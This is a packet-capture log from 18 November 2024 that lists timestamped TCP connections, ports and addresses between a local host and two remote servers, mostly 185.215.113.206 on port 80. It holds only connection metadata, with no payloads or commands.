Nov 18, 2024 00:27:27.990660906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990660906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.063882113 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.063924074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.063950062 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.063967943 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.063985109 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.063991070 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064034939 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064057112 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064218044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.064237118 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.064268112 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.064277887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064285040 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.064299107 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064299107 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064313889 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.064331055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.064351082 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104485035 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104512930 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104552984 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104594946 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104608059 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104624987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104655027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104737997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104775906 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104779959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104790926 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104805946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.104816914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104851007 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.104863882 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105197906 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105211020 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105238914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105252981 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105335951 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105376959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105406046 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105428934 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105443001 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105446100 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105462074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.105465889 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105475903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105495930 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.105993986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.106036901 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.106064081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.106079102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.106095076 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.106098890 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.106111050 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.106115103 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.106126070 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.106144905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.179476976 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179497957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179522991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179541111 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179555893 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179573059 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179647923 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.179697990 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.179893017 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179908991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179925919 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179939032 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.179950953 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.179980993 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.180003881 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.180221081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.180234909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.180274963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.219947100 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220058918 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220072985 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220087051 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220141888 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220143080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220143080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220174074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220189095 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220206976 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220216036 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220222950 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220235109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220249891 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220267057 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220557928 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220585108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220601082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220623016 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220623016 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220655918 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220834017 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220865011 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220881939 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220885992 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220895052 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.220907927 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220935106 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.220935106 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.221299887 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.221314907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.221329927 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.221343994 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.221360922 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.221385956 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.221415043 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.221764088 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.221817017 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.222115993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.222166061 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.294773102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.294809103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.294823885 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.294842005 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.294903994 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.294915915 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.294929981 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.294966936 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295032024 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295048952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295064926 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295073032 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295082092 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295085907 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295099020 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295108080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295114040 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295116901 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295129061 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.295183897 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295183897 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.295183897 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335719109 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335750103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335767984 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335782051 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335799932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335813999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335824013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335824013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335824013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335824013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335870028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335870028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335879087 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335894108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335908890 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.335918903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335942030 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.335962057 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336154938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336180925 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336195946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336198092 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336221933 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336236000 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336261988 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336282969 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336307049 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336318016 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336688042 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336704969 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336719990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336734056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336750031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.336751938 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336751938 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336775064 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336775064 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.336788893 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.337167025 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.337182999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.337198019 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.337512016 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.337570906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410321951 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410351038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410366058 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410397053 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410450935 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410466909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410484076 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410491943 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410537958 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410537958 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410806894 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410875082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410891056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410897970 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410928965 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410933971 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410948038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410963058 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.410967112 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.410988092 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.411015987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.423470974 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.424030066 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.424045086 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.424532890 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.424536943 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.428723097 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.429085970 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.429107904 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.429500103 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.429511070 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.450901985 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.450963020 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.450989962 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451010942 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451077938 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451081991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451097012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451102972 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451112032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451112986 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451128006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451134920 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451148987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451169014 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451368093 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451411963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451420069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451435089 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451456070 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451472998 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451606989 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451622009 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451637983 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451647997 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451653004 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451661110 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451669931 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.451710939 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.451710939 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452104092 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452130079 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452140093 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452140093 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452146053 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452171087 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452178955 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452186108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452202082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452272892 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452272892 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452616930 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452645063 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452658892 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.452668905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452682018 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.452689886 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.454767942 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.455324888 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.455337048 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.455822945 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.455833912 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.525777102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.525806904 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.525824070 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.525899887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.525947094 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.525959015 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.525974989 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.525996923 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.526021957 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.526060104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526073933 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526089907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526103973 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.526120901 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.526401043 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526416063 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526432037 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526446104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526454926 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.526462078 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.526492119 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.526503086 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.552541971 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.552792072 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.552861929 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.552934885 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.552958012 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.552967072 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.552972078 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.555928946 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.555985928 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.556200027 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.556394100 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.556411982 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.566451073 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566504002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566523075 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566549063 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566549063 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566579103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566586018 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566596031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566612959 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566621065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566633940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566658020 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566776037 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566790104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566817999 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566850901 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566881895 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566920996 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.566967010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566982031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.566998959 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567004919 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567017078 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567027092 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567044973 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567059994 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567406893 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567430973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567445993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567460060 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567481041 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567506075 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567632914 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567648888 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567663908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567681074 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567698002 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.567892075 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567908049 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567923069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567939997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.567948103 CET	49741	80	192.168.2.6	185.215.113.206
